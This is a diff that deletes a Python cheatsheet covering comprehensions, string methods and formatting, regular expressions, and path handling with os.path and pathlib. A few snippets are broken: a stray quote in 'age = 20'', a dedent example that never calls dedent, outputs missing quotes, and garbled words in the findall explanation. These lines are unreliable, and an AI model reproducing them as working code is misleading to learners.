->>> data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10,]
->>> for each in itertools.zip_longest(colors, data, fillvalue=None):
->>>    print(each)
-('red', 1)
-('orange', 2)
-('yellow', 3)
-('green', 4)
-('blue', 5)
-(None, 6)
-(None, 7)
-(None, 8)
-(None, 9)
-(None, 10)
-```
-
-_Return to the Top_
-
-### Comprehensions
-
-#### List comprehension
-
-```python
->>> a = [1, 3, 5, 7, 9, 11]
-
->>> [i - 1 for i in a]
-[0, 2, 4, 6, 8, 10]
-```
-
-#### Set comprehension
-
-```python
->>> b = {"abc", "def"}
->>> {s.upper() for s in b}
-{"ABC", "DEF"}
-```
-
-#### Dict comprehension
-
-```python
->>> c = {'name': 'Pooka', 'age': 5}
->>> {v: k for k, v in c.items()}
-{'Pooka': 'name', 5: 'age'}
-```
-
-A List comprehension can be generated from a dictionary:
-
-```python
->>> c = {'name': 'Pooka', 'first_name': 'Oooka'}
->>> ["{}:{}".format(k.upper(), v.upper()) for k, v in c.items()]
-['NAME:POOKA', 'FIRST_NAME:OOOKA']
-```
-
-### Manipulating Strings
-
-#### Escape Characters
-
-| Escape character | Prints as            |
-| ---------------- | -------------------- |
-| `\'`             | Single quote         |
-| `\"`             | Double quote         |
-|                  | Tab                  |
-|                  | Newline (line break) |
-| `\\`             | Backslash            |
-
-Example:
-
-```python
->>> print("Hello there!\nHow are you?\nI\'m doing fine.")
-Hello there!
-How are you?
-I'm doing fine.
-```
-
-_Return to the Top_
-
-#### Raw Strings
-
-A raw string completely ignores all escape characters and prints any backslash that appears in the string.
-
-```python
->>> print(r'That is Carol\'s cat.')
-That is Carol\'s cat.
-```
-
-Note: mostly used for regular expression definition (see `re` package)
-
-_Return to the Top_
-
-#### Multiline Strings with Triple Quotes
-
-```python
->>> print('''Dear Alice,
->>>
->>> Eve's cat has been arrested for catnapping, cat burglary, and extortion.
->>>
->>> Sincerely,
->>> Bob''')
-Dear Alice,
-
-Eve's cat has been arrested for catnapping, cat burglary, and extortion.
-
-Sincerely,
-Bob
-```
-
-To keep a nicer flow in your code, you can use the `dedent` function from the `textwrap` standard package.
-
-```python
->>> from textwrap import dedent
->>>
->>> def my_function():
->>>     print('''
->>>         Dear Alice,
->>>
->>>         Eve's cat has been arrested for catnapping, cat burglary, and extortion.
->>>
->>>         Sincerely,
->>>         Bob
->>>         ''').strip()
-```
-
-This generates the same string than before.
-
-_Return to the Top_
-
-#### Indexing and Slicing Strings
-
-```
-H   e   l   l   o       w   o   r   l   d    !
-0   1   2   3   4   5   6   7   8   9   10   11
-```
-
-```python
->>> spam = 'Hello world!'
-
->>> spam[0]
-'H'
-```
-
-```python
->>> spam[4]
-'o'
-```
-
-```python
->>> spam[-1]
-'!'
-```
-
-Slicing:
-
-```python
->>> spam[0:5]
-'Hello'
-```
-
-```python
->>> spam[:5]
-'Hello'
-```
-
-```python
->>> spam[6:]
-'world!'
-```
-
-```python
->>> spam[6:-1]
-'world'
-```
-
-```python
->>> spam[:-1]
-'Hello world'
-```
-
-```python
->>> spam[::-1]
-'!dlrow olleH'
-```
-
-```python
->>> spam = 'Hello world!'
->>> fizz = spam[0:5]
->>> fizz
-'Hello'
-```
-
-_Return to the Top_
-
-#### The in and not in Operators with Strings
-
-```python
->>> 'Hello' in 'Hello World'
-True
-```
-
-```python
->>> 'Hello' in 'Hello'
-True
-```
-
-```python
->>> 'HELLO' in 'Hello World'
-False
-```
-
-```python
->>> '' in 'spam'
-True
-```
-
-```python
->>> 'cats' not in 'cats and dogs'
-False
-```
-
-#### The in and not in Operators with list
-
-```python
->>> a = [1, 2, 3, 4]
->>> 5 in a
-False
-```
-
-```python
->>> 2 in a
-True
-```
-
-_Return to the Top_
-
-#### The upper(), lower(), isupper(), and islower() String Methods
-
-`upper()` and `lower()`:
-
-```python
->>> spam = 'Hello world!'
->>> spam = spam.upper()
->>> spam
-'HELLO WORLD!'
-```
-
-```python
->>> spam = spam.lower()
->>> spam
-'hello world!'
-```
-
-isupper() and islower():
-
-```python
->>> spam = 'Hello world!'
->>> spam.islower()
-False
-```
-
-```python
->>> spam.isupper()
-False
-```
-
-```python
->>> 'HELLO'.isupper()
-True
-```
-
-```python
->>> 'abc12345'.islower()
-True
-```
-
-```python
->>> '12345'.islower()
-False
-```
-
-```python
->>> '12345'.isupper()
-False
-```
-
-_Return to the Top_
-
-#### The isX String Methods
-
--   **isalpha()** returns True if the string consists only of letters and is not blank.
--   **isalnum()** returns True if the string consists only of letters and numbers and is not blank.
--   **isdecimal()** returns True if the string consists only of numeric characters and is not blank.
--   **isspace()** returns True if the string consists only of spaces,tabs, and new-lines and is not blank.
--   **istitle()** returns True if the string consists only of words that begin with an uppercase letter followed by only lowercase letters.
-
-_Return to the Top_
-
-#### The startswith() and endswith() String Methods
-
-```python
->>> 'Hello world!'.startswith('Hello')
-True
-```
-
-```python
->>> 'Hello world!'.endswith('world!')
-True
-```
-
-```python
->>> 'abc123'.startswith('abcdef')
-False
-```
-
-```python
->>> 'abc123'.endswith('12')
-False
-```
-
-```python
->>> 'Hello world!'.startswith('Hello world!')
-True
-```
-
-```python
->>> 'Hello world!'.endswith('Hello world!')
-True
-```
-
-_Return to the Top_
-
-#### The join() and split() String Methods
-
-join():
-
-```python
->>> ', '.join(['cats', 'rats', 'bats'])
-'cats, rats, bats'
-```
-
-```python
->>> ' '.join(['My', 'name', 'is', 'Simon'])
-'My name is Simon'
-```
-
-```python
->>> 'ABC'.join(['My', 'name', 'is', 'Simon'])
-'MyABCnameABCisABCSimon'
-```
-
-split():
-
-```python
->>> 'My name is Simon'.split()
-['My', 'name', 'is', 'Simon']
-```
-
-```python
->>> 'MyABCnameABCisABCSimon'.split('ABC')
-['My', 'name', 'is', 'Simon']
-```
-
-```python
->>> 'My name is Simon'.split('m')
-['My na', 'e is Si', 'on']
-```
-
-_Return to the Top_
-
-#### Justifying Text with rjust(), ljust(), and center()
-
-rjust() and ljust():
-
-```python
->>> 'Hello'.rjust(10)
-'     Hello'
-```
-
-```python
->>> 'Hello'.rjust(20)
-'               Hello'
-```
-
-```python
->>> 'Hello World'.rjust(20)
-'         Hello World'
-```
-
-```python
->>> 'Hello'.ljust(10)
-'Hello     '
-```
-
-An optional second argument to rjust() and ljust() will specify a fill character other than a space character. Enter the following into the interactive shell:
-
-```python
->>> 'Hello'.rjust(20, '*')
-'***************Hello'
-```
-
-```python
->>> 'Hello'.ljust(20, '-')
-'Hello---------------'
-```
-
-center():
-
-```python
->>> 'Hello'.center(20)
-'       Hello       '
-```
-
-```python
->>> 'Hello'.center(20, '=')
-'=======Hello========'
-```
-
-_Return to the Top_
-
-#### Removing Whitespace with strip(), rstrip(), and lstrip()
-
-```python
->>> spam = '    Hello World     '
->>> spam.strip()
-'Hello World'
-```
-
-```python
->>> spam.lstrip()
-'Hello World '
-```
-
-```python
->>> spam.rstrip()
-'    Hello World'
-```
-
-```python
->>> spam = 'SpamSpamBaconSpamEggsSpamSpam'
->>> spam.strip('ampS')
-'BaconSpamEggs'
-```
-
-_Return to the Top_
-
-#### Copying and Pasting Strings with the pyperclip Module (need pip install)
-
-```python
->>> import pyperclip
-
->>> pyperclip.copy('Hello world!')
-
->>> pyperclip.paste()
-'Hello world!'
-```
-
-_Return to the Top_
-
-### String Formatting
-
-#### % operator
-
-```python
->>> name = 'Pete'
->>> 'Hello %s' % name
-"Hello Pete"
-```
-
-We can use the `%x` format specifier to convert an int value to a string:
-
-```python
->>> num = 5
->>> 'I have %x apples' % num
-"I have 5 apples"
-```
-
-Note: For new code, using str.format or f-strings (Python 3.6+) is strongly recommended over the `%` operator.
-
-_Return to the Top_
-
-#### String Formatting (str.format)
-
-Python 3 introduced a new way to do string formatting that was later back-ported to Python 2.7. This makes the syntax for string formatting more regular.
-
-```python
->>> name = 'John'
->>> age = 20'
-
->>> "Hello I'm {}, my age is {}".format(name, age)
-"Hello I'm John, my age is 20"
-```
-
-```python
->>> "Hello I'm {0}, my age is {1}".format(name, age)
-"Hello I'm John, my age is 20"
-```
-
-The official [Python 3.x documentation](https://docs.python.org/3/library/stdtypes.html?highlight=sprintf#printf-style-string-formatting) recommend `str.format` over the `%` operator:
-
-> The formatting operations described here exhibit a variety of quirks that lead to a number of common errors (such as failing to display tuples and dictionaries correctly). Using the newer formatted string literals or the str.format() interface helps avoid these errors. These alternatives also provide more powerful, flexible and extensible approaches to formatting text.
-
-_Return to the Top_
-
-#### Lazy string formatting
-
-You would only use `%s` string formatting on functions that can do lazy parameters evaluation, the most common being logging:
-
-Prefer:
-
-```python
->>> name = "alice"
->>> logging.debug("User name: %s", name)
-```
-
-Over:
-
-```python
->>> logging.debug("User name: {}".format(name))
-```
-
-Or:
-
-```python
->>> logging.debug("User name: " + name)
-```
-
-_Return to the Top_
-
-#### Formatted String Literals or f-strings (Python 3.6+)
-
-```python
->>> name = 'Elizabeth'
->>> f'Hello {name}!'
-'Hello Elizabeth!
-```
-
-It is even possible to do inline arithmetic with it:
-
-```python
->>> a = 5
->>> b = 10
->>> f'Five plus ten is {a + b} and not {2 * (a + b)}.'
-'Five plus ten is 15 and not 30.'
-```
-
-_Return to the Top_
-
-#### Template Strings
-
-A simpler and less powerful mechanism, but it is recommended when handling format strings generated by users. Due to their reduced complexity template strings are a safer choice.
-
-```python
->>> from string import Template
->>> name = 'Elizabeth'
->>> t = Template('Hey $name!')
->>> t.substitute(name=name)
-'Hey Elizabeth!'
-```
-
-_Return to the Top_
-
-### Regular Expressions
-
-1. Import the regex module with `import re`.
-2. Create a Regex object with the `re.compile()` function. (Remember to use a raw string.)
-3. Pass the string you want to search into the Regex object's `search()` method. This returns a `Match` object.
-4. Call the Match object's `group()` method to return a string of the actual matched text.
-
-All the regex functions in Python are in the re module:
-
-```python
->>> import re
-```
-
-_Return to the Top_
-
-#### Matching Regex Objects
-
-```python
->>> phone_num_regex = re.compile(r'\d\d\d-\d\d\d-\d\d\d\d')
-
->>> mo = phone_num_regex.search('My number is 415-555-4242.')
-
->>> print('Phone number found: {}'.format(mo.group()))
-Phone number found: 415-555-4242
-```
-
-_Return to the Top_
-
-#### Grouping with Parentheses
-
-```python
->>> phone_num_regex = re.compile(r'(\d\d\d)-(\d\d\d-\d\d\d\d)')
-
->>> mo = phone_num_regex.search('My number is 415-555-4242.')
-
->>> mo.group(1)
-'415'
-
->>> mo.group(2)
-'555-4242'
-
->>> mo.group(0)
-'415-555-4242'
-
->>> mo.group()
-'415-555-4242'
-```
-
-To retrieve all the groups at once: use the groups() method—note the plural form for the name.
-
-```python
->>> mo.groups()
-('415', '555-4242')
-
->>> area_code, main_number = mo.groups()
-
->>> print(area_code)
-415
-
->>> print(main_number)
-555-4242
-```
-
-_Return to the Top_
-
-#### Matching Multiple Groups with the Pipe
-
-The | character is called a pipe. You can use it anywhere you want to match one of many expressions. For example, the regular expression r'Batman|Tina Fey' will match either 'Batman' or 'Tina Fey'.
-
-```python
->>> hero_regex = re.compile (r'Batman|Tina Fey')
-
->>> mo1 = hero_regex.search('Batman and Tina Fey.')
-
->>> mo1.group()
-'Batman'
-
->>> mo2 = hero_regex.search('Tina Fey and Batman.')
-
->>> mo2.group()
-'Tina Fey'
-```
-
-You can also use the pipe to match one of several patterns as part of your regex:
-
-```python
->>> bat_regex = re.compile(r'Bat(man|mobile|copter|bat)')
-
->>> mo = bat_regex.search('Batmobile lost a wheel')
-
->>> mo.group()
-'Batmobile'
-
->>> mo.group(1)
-'mobile'
-```
-
-_Return to the Top_
-
-#### Optional Matching with the Question Mark
-
-The ? character flags the group that precedes it as an optional part of the pattern.
-
-```python
->>> bat_regex = re.compile(r'Bat(wo)?man')
->>> mo1 = bat_regex.search('The Adventures of Batman')
->>> mo1.group()
-'Batman'
-
->>> mo2 = bat_regex.search('The Adventures of Batwoman')
->>> mo2.group()
-'Batwoman'
-```
-
-_Return to the Top_
-
-#### Matching Zero or More with the Star
-
-The \* (called the star or asterisk) means "match zero or more"—the group that precedes the star can occur any number of times in the text.
-
-```python
->>> bat_regex = re.compile(r'Bat(wo)*man')
->>> mo1 = bat_regex.search('The Adventures of Batman')
->>> mo1.group()
-'Batman'
-
->>> mo2 = bat_regex.search('The Adventures of Batwoman')
->>> mo2.group()
-'Batwoman'
-
->>> mo3 = bat_regex.search('The Adventures of Batwowowowoman')
->>> mo3.group()
-'Batwowowowoman'
-```
-
-_Return to the Top_
-
-#### Matching One or More with the Plus
-
-While \* means "match zero or more," the + (or plus) means "match one or more". The group preceding a plus must appear at least once. It is not optional:
-
-```python
->>> bat_regex = re.compile(r'Bat(wo)+man')
->>> mo1 = bat_regex.search('The Adventures of Batwoman')
->>> mo1.group()
-'Batwoman'
-```
-
-```python
->>> mo2 = bat_regex.search('The Adventures of Batwowowowoman')
->>> mo2.group()
-'Batwowowowoman'
-```
-
-```python
->>> mo3 = bat_regex.search('The Adventures of Batman')
->>> mo3 is None
-True
-```
-
-_Return to the Top_
-
-#### Matching Specific Repetitions with Curly Brackets
-
-If you have a group that you want to repeat a specific number of times, follow the group in your regex with a number in curly brackets. For example, the regex (Ha){3} will match the string 'HaHaHa', but it will not match 'HaHa', since the latter has only two repeats of the (Ha) group.
-
-Instead of one number, you can specify a range by writing a minimum, a comma, and a maximum in between the curly brackets. For example, the regex (Ha){3,5} will match 'HaHaHa', 'HaHaHaHa', and 'HaHaHaHaHa'.
-
-```python
->>> ha_regex = re.compile(r'(Ha){3}')
->>> mo1 = ha_regex.search('HaHaHa')
->>> mo1.group()
-'HaHaHa'
-```
-
-```python
->>> mo2 = ha_regex.search('Ha')
->>> mo2 is None
-True
-```
-
-_Return to the Top_
-
-#### Greedy and Nongreedy Matching
-
-Python's regular expressions are greedy by default, which means that in ambiguous situations they will match the longest string possible. The non-greedy version of the curly brackets, which matches the shortest string possible, has the closing curly bracket followed by a question mark.
-
-```python
->>> greedy_ha_regex = re.compile(r'(Ha){3,5}')
->>> mo1 = greedy_ha_regex.search('HaHaHaHaHa')
->>> mo1.group()
-'HaHaHaHaHa'
-```
-
-```python
->>> nongreedy_ha_regex = re.compile(r'(Ha){3,5}?')
->>> mo2 = nongreedy_ha_regex.search('HaHaHaHaHa')
->>> mo2.group()
-'HaHaHa'
-```
-
-_Return to the Top_
-
-#### The findall() Method
-
-In addition to the search() method, Regex objects also have a findall() method. While search() will return a Match object of the first matched text in the searched string, the findall() method will return the strings of every match in the searched string.
-
-```python
->>> phone_num_regex = re.compile(r'\d\d\d-\d\d\d-\d\d\d\d') # has no groups
-
->>> phone_num_regex.findall('Cell: 415-555-9999 Work: 212-555-0000')
-['415-555-9999', '212-555-0000']
-```
-
-To summarize what the findall() method returns, remember the following:
-
--   When called on a regex with no groups, such as \d-\d\d\d-\d\d\d\d, the method findall() returns a list of ng matches, such as \['415-555-9999', '212-555-0000'].
--   When called on a regex that has groups, such as (\d\d\d)-(d\d)-(\d\d\d\d), the method findall() returns a list of es of strings (one string for each group), such as \[('415', '555', '9999'), ('212', '555', '0000')].
-
-_Return to the Top_
-
-#### Making Your Own Character Classes
-
-There are times when you want to match a set of characters but the shorthand character classes (\d, \w, \s, and so on) are too broad. You can define your own character class using square brackets. For example, the character class \[aeiouAEIOU] will match any vowel, both lowercase and uppercase.
-
-```python
->>> vowel_regex = re.compile(r'[aeiouAEIOU]')
-
->>> vowel_regex.findall('Robocop eats baby food. BABY FOOD.')
-['o', 'o', 'o', 'e', 'a', 'a', 'o', 'o', 'A', 'O', 'O']
-```
-
-You can also include ranges of letters or numbers by using a hyphen. For example, the character class \[a-zA-Z0-9] will match all lowercase letters, uppercase letters, and numbers.
-
-By placing a caret character (^) just after the character class's opening bracket, you can make a negative character class. A negative character class will match all the characters that are not in the character class. For example, enter the following into the interactive shell:
-
-```python
->>> consonant_regex = re.compile(r'[^aeiouAEIOU]')
-
->>> consonant_regex.findall('Robocop eats baby food. BABY FOOD.')
-['R', 'b', 'c', 'p', ' ', 't', 's', ' ', 'b', 'b', 'y', ' ', 'f', 'd', '.', '
-', 'B', 'B', 'Y', ' ', 'F', 'D', '.']
-```
-
-_Return to the Top_
-
-#### The Caret and Dollar Sign Characters
-
--   You can also use the caret symbol (^) at the start of a regex to indicate that a match must occur at the beginning of the searched text.
--   Likewise, you can put a dollar sign ($) at the end of the regex to indicate the string must end with this regex pattern.
--   And you can use the ^ and $ together to indicate that the entire string must match the regex—that is, it's not enough for a match to be made on some subset of the string.
-
-The r'^Hello' regular expression string matches strings that begin with 'Hello':
-
-```python
->>> begins_with_hello = re.compile(r'^Hello')
-
->>> begins_with_hello.search('Hello world!')
-<_sre.SRE_Match object; span=(0, 5), match='Hello'>
-
->>> begins_with_hello.search('He said hello.') is None
-True
-```
-
-The r'\d$' regular expression string matches strings that end with a numeric character from 0 to 9:
-
-```python
->>> whole_string_is_num = re.compile(r'^\d+$')
-
->>> whole_string_is_num.search('1234567890')
-<_sre.SRE_Match object; span=(0, 10), match='1234567890'>
-
->>> whole_string_is_num.search('12345xyz67890') is None
-True
-
->>> whole_string_is_num.search('12 34567890') is None
-True
-```
-
-_Return to the Top_
-
-#### The Wildcard Character
-
-The . (or dot) character in a regular expression is called a wildcard and will match any character except for a newline:
-
-```python
->>> at_regex = re.compile(r'.at')
-
->>> at_regex.findall('The cat in the hat sat on the flat mat.')
-['cat', 'hat', 'sat', 'lat', 'mat']
-```
-
-_Return to the Top_
-
-#### Matching Everything with Dot-Star
-
-```python
->>> name_regex = re.compile(r'First Name: (.*) Last Name: (.*)')
-
->>> mo = name_regex.search('First Name: Al Last Name: Sweigart')
-
->>> mo.group(1)
-'Al'
-```
-
-```python
->>> mo.group(2)
-'Sweigart'
-```
-
-The dot-star uses greedy mode: It will always try to match as much text as possible. To match any and all text in a nongreedy fashion, use the dot, star, and question mark (.\*?). The question mark tells Python to match in a nongreedy way:
-
-```python
->>> nongreedy_regex = re.compile(r'<.*?>')
->>> mo = nongreedy_regex.search('<To serve man> for dinner.>')
->>> mo.group()
-'<To serve man>'
-```
-
-```python
->>> greedy_regex = re.compile(r'<.*>')
->>> mo = greedy_regex.search('<To serve man> for dinner.>')
->>> mo.group()
-'<To serve man> for dinner.>'
-```
-
-_Return to the Top_
-
-#### Matching Newlines with the Dot Character
-
-The dot-star will match everything except a newline. By passing re.DOTALL as the second argument to re.compile(), you can make the dot character match all characters, including the newline character:
-
-```python
->>> no_newline_regex = re.compile('.*')
->>> no_newline_regex.search('Serve the public trust.\nProtect the innocent.\nUphold the law.').group()
-'Serve the public trust.'
-```
-
-```python
->>> newline_regex = re.compile('.*', re.DOTALL)
->>> newline_regex.search('Serve the public trust.\nProtect the innocent.\nUphold the law.').group()
-'Serve the public trust.\nProtect the innocent.\nUphold the law.'
-```
-
-_Return to the Top_
-
-#### Review of Regex Symbols
-
-| Symbol                   | Matches                                                |
-| ------------------------ | ------------------------------------------------------ |
-| `?`                      | zero or one of the preceding group.                    |
-| `*`                      | zero or more of the preceding group.                   |
-| `+`                      | one or more of the preceding group.                    |
-| `{n}`                    | exactly n of the preceding group.                      |
-| `{n,}`                   | n or more of the preceding group.                      |
-| `{,m}`                   | 0 to m of the preceding group.                         |
-| `{n,m}`                  | at least n and at most m of the preceding p.           |
-| `{n,m}?` or `*?` or `+?` | performs a nongreedy match of the preceding p.         |
-| `^spam`                  | means the string must begin with spam.                 |
-| `spam$`                  | means the string must end with spam.                   |
-| `.`                      | any character, except newline characters.              |
-| `\d`, `\w`, and `\s`     | a digit, word, or space character, respectively.       |
-| `\D`, `\W`, and `\S`     | anything except a digit, word, or space, respectively. |
-| `[abc]`                  | any character between the brackets (such as a, b, ).   |
-| `[^abc]`                 | any character that isn't between the brackets.         |
-
-_Return to the Top_
-
-#### Case-Insensitive Matching
-
-To make your regex case-insensitive, you can pass re.IGNORECASE or re.I as a second argument to re.compile():
-
-```python
->>> robocop = re.compile(r'robocop', re.I)
-
->>> robocop.search('Robocop is part man, part machine, all cop.').group()
-'Robocop'
-```
-
-```python
->>> robocop.search('ROBOCOP protects the innocent.').group()
-'ROBOCOP'
-```
-
-```python
->>> robocop.search('Al, why does your programming book talk about robocop so much?').group()
-'robocop'
-```
-
-_Return to the Top_
-
-#### Substituting Strings with the sub() Method
-
-The sub() method for Regex objects is passed two arguments:
-
-1. The first argument is a string to replace any matches.
-2. The second is the string for the regular expression.
-
-The sub() method returns a string with the substitutions applied:
-
-```python
->>> names_regex = re.compile(r'Agent \w+')
-
->>> names_regex.sub('CENSORED', 'Agent Alice gave the secret documents to Agent Bob.')
-'CENSORED gave the secret documents to CENSORED.'
-```
-
-Another example:
-
-```python
->>> agent_names_regex = re.compile(r'Agent (\w)\w*')
-
->>> agent_names_regex.sub(r'\1****', 'Agent Alice told Agent Carol that Agent Eve knew Agent Bob was a double agent.')
-A**** told C**** that E**** knew B**** was a double agent.'
-```
-
-_Return to the Top_
-
-#### Managing Complex Regexes
-
-To tell the re.compile() function to ignore whitespace and comments inside the regular expression string, "verbose mode" can be enabled by passing the variable re.VERBOSE as the second argument to re.compile().
-
-Now instead of a hard-to-read regular expression like this:
-
-```python
-phone_regex = re.compile(r'((\d{3}|\(\d{3}\))?(\s|-|\.)?\d{3}(\s|-|\.)\d{4}(\s*(ext|x|ext.)\s*\d{2,5})?)')
-```
-
-you can spread the regular expression over multiple lines with comments like this:
-
-```python
-phone_regex = re.compile(r'''(
-    (\d{3}|\(\d{3}\))?            # area code
-    (\s|-|\.)?                    # separator
-    \d{3}                         # first 3 digits
-    (\s|-|\.)                     # separator
-    \d{4}                         # last 4 digits
-    (\s*(ext|x|ext.)\s*\d{2,5})?  # extension
-    )''', re.VERBOSE)
-```
-
-_Return to the Top_
-
-### Handling File and Directory Paths
-
-There are two main modules in Python that deals with path manipulation. One is the `os.path` module and the other is the `pathlib` module. The `pathlib` module was added in Python 3.4, offering an object-oriented way to handle file system paths.
-
-_Return to the Top_
-
-#### Backslash on Windows and Forward Slash on OS X and Linux
-
-On Windows, paths are written using backslashes (`\`) as the separator between folder names. On Unix based operating system such as macOS, Linux, and BSDs, the forward slash (`/`) is used as the path separator. Joining paths can be a headache if your code needs to work on different platforms.
-
-Fortunately, Python provides easy ways to handle this. We will showcase how to deal with this with both `os.path.join` and `pathlib.Path.joinpath`
-
-Using `os.path.join` on Windows:
-
-```python
->>> import os
-
->>> os.path.join('usr', 'bin', 'spam')
-'usr\\bin\\spam'
-```
-
-And using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
-
->>> print(Path('usr').joinpath('bin').joinpath('spam'))
-usr/bin/spam
-```
-
-`pathlib` also provides a shortcut to joinpath using the `/` operator:
-
-```python
->>> from pathlib import Path
-
->>> print(Path('usr') / 'bin' / 'spam')
-usr/bin/spam
-```
-
-Notice the path separator is different between Windows and Unix based operating system, that's why you want to use one of the above methods instead of adding strings together to join paths together.
-
-Joining paths is helpful if you need to create different file paths under the same directory.
-
-Using `os.path.join` on Windows:
-
-```python
->>> my_files = ['accounts.txt', 'details.csv', 'invite.docx']
-
->>> for filename in my_files:
->>>     print(os.path.join('C:\\Users\\asweigart', filename))
-C:\Users\asweigart\accounts.txt
-C:\Users\asweigart\details.csv
-C:\Users\asweigart\invite.docx
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> my_files = ['accounts.txt', 'details.csv', 'invite.docx']
->>> home = Path.home()
->>> for filename in my_files:
->>>     print(home / filename)
-/home/asweigart/accounts.txt
-/home/asweigart/details.csv
-/home/asweigart/invite.docx
-```
-
-_Return to the Top_
-
-#### The Current Working Directory
-
-Using `os` on Windows:
-
-```python
->>> import os
-
->>> os.getcwd()
-'C:\\Python34'
->>> os.chdir('C:\\Windows\\System32')
-
->>> os.getcwd()
-'C:\\Windows\\System32'
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> from os import chdir
-
->>> print(Path.cwd())
-/home/asweigart
-
->>> chdir('/usr/lib/python3.6')
->>> print(Path.cwd())
-/usr/lib/python3.6
-```
-
-_Return to the Top_
-
-#### Creating New Folders
-
-Using `os` on Windows:
-
-```python
->>> import os
->>> os.makedirs('C:\\delicious\\walnut\\waffles')
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> cwd = Path.cwd()
->>> (cwd / 'delicious' / 'walnut' / 'waffles').mkdir()
-Traceback (most recent call last):
-  File "<stdin>", line 1, in <module>
-  File "/usr/lib/python3.6/pathlib.py", line 1226, in mkdir
-    self._accessor.mkdir(self, mode)
-  File "/usr/lib/python3.6/pathlib.py", line 387, in wrapped
-    return strfunc(str(pathobj), *args)
-FileNotFoundError: [Errno 2] No such file or directory: '/home/asweigart/delicious/walnut/waffles'
-```
-
-Oh no, we got a nasty error! The reason is that the 'delicious' directory does not exist, so we cannot make the 'walnut' and the 'waffles' directories under it. To fix this, do:
-
-```python
->>> from pathlib import Path
->>> cwd = Path.cwd()
->>> (cwd / 'delicious' / 'walnut' / 'waffles').mkdir(parents=True)
-```
-
-And all is good :)
-
-_Return to the Top_
-
-#### Absolute vs. Relative Paths
-
-There are two ways to specify a file path.
-
--   An absolute path, which always begins with the root folder
--   A relative path, which is relative to the program's current working directory
-
-There are also the dot (.) and dot-dot (..) folders. These are not real folders but special names that can be used in a path. A single period ("dot") for a folder name is shorthand for "this directory." Two periods ("dot-dot") means "the parent folder."
-
-_Return to the Top_
-
-#### Handling Absolute and Relative Paths
-
-To see if a path is an absolute path:
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.path.isabs('/')
-True
->>> os.path.isabs('..')
-False
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> Path('/').is_absolute()
-True
->>> Path('..').is_absolute()
-False
-```
-
-You can extract an absolute path with both `os.path` and `pathlib`
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.getcwd()
-'/home/asweigart'
->>> os.path.abspath('..')
-'/home'
-```
-
-Using `pathlib` on \*nix:
-
-```python
-from pathlib import Path
-print(Path.cwd())
-/home/asweigart
-print(Path('..').resolve())
-/home
-```
-
-You can get a relative path from a starting path to another path.
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.path.relpath('/etc/passwd', '/')
-'etc/passwd'
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> print(Path('/etc/passwd').relative_to('/'))
-etc/passwd
-```
-
-_Return to the Top_
-
-#### Checking Path Validity
-
-Checking if a file/directory exists:
-
-Using `os.path` on \*nix:
-
-```python
-import os
->>> os.path.exists('.')
-True
->>> os.path.exists('setup.py')
-True
->>> os.path.exists('/etc')
-True
->>> os.path.exists('nonexistentfile')
-False
-```
-
-Using `pathlib` on \*nix:
-
-```python
-from pathlib import Path
->>> Path('.').exists()
-True
->>> Path('setup.py').exists()
-True
->>> Path('/etc').exists()
-True
->>> Path('nonexistentfile').exists()
-False
-```
-
-Checking if a path is a file:
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.path.isfile('setup.py')
-True
->>> os.path.isfile('/home')
-False
->>> os.path.isfile('nonexistentfile')
-False
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> Path('setup.py').is_file()
-True
->>> Path('/home').is_file()
-False
->>> Path('nonexistentfile').is_file()
-False
-```
-
-Checking if a path is a directory:
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.path.isdir('/')
-True
->>> os.path.isdir('setup.py')
-False
->>> os.path.isdir('/spam')
-False
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> Path('/').is_dir()
-True
->>> Path('setup.py').is_dir()
-False
->>> Path('/spam').is_dir()
-False
-```
-
-_Return to the Top_
-
-#### Finding File Sizes and Folder Contents
-
-Getting a file's size in bytes:
-
-Using `os.path` on Windows:
-
-```python
->>> import os
->>> os.path.getsize('C:\\Windows\\System32\\calc.exe')
-776192
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> stat = Path('/bin/python3.6').stat()
->>> print(stat) # stat contains some other information about the file as well
-os.stat_result(st_mode=33261, st_ino=141087, st_dev=2051, st_nlink=2, st_uid=0,
---snip--
-st_gid=0, st_size=10024, st_atime=1517725562, st_mtime=1515119809, st_ctime=1517261276)
->>> print(stat.st_size) # size in bytes
-10024
-```
-
-Listing directory contents using `os.listdir` on Windows:
-
-```python
->>> import os
->>> os.listdir('C:\\Windows\\System32')
-['0409', '12520437.cpx', '12520850.cpx', '5U877.ax', 'aaclient.dll',
---snip--
-'xwtpdui.dll', 'xwtpw32.dll', 'zh-CN', 'zh-HK', 'zh-TW', 'zipfldr.dll']
-```
-
-Listing directory contents using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> for f in Path('/usr/bin').iterdir():
->>>     print(f)
-...
-/usr/bin/tiff2rgba
-/usr/bin/iconv
-/usr/bin/ldd
-/usr/bin/cache_restore
-/usr/bin/udiskie
-/usr/bin/unix2dos
-/usr/bin/t1reencode
-/usr/bin/epstopdf
-/usr/bin/idle3
-...
-```
-
-To find the total size of all the files in this directory:
-
-**WARNING**: Directories themselves also have a size! So you might want to check for whether a path is a file or directory using the methods in the methods discussed in the above section!
-
-Using `os.path.getsize()` and `os.listdir()` together on Windows:
-
-```python
->>> import os
->>> total_size = 0
-
->>> for filename in os.listdir('C:\\Windows\\System32'):
-      total_size = total_size + os.path.getsize(os.path.join('C:\\Windows\\System32', filename))
-
->>> print(total_size)
-1117846456
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> total_size = 0
-
->>> for sub_path in Path('/usr/bin').iterdir():
-...     total_size += sub_path.stat().st_size
->>>
->>> print(total_size)
-1903178911
-```
-
-_Return to the Top_
-
-#### Copying Files and Folders
-
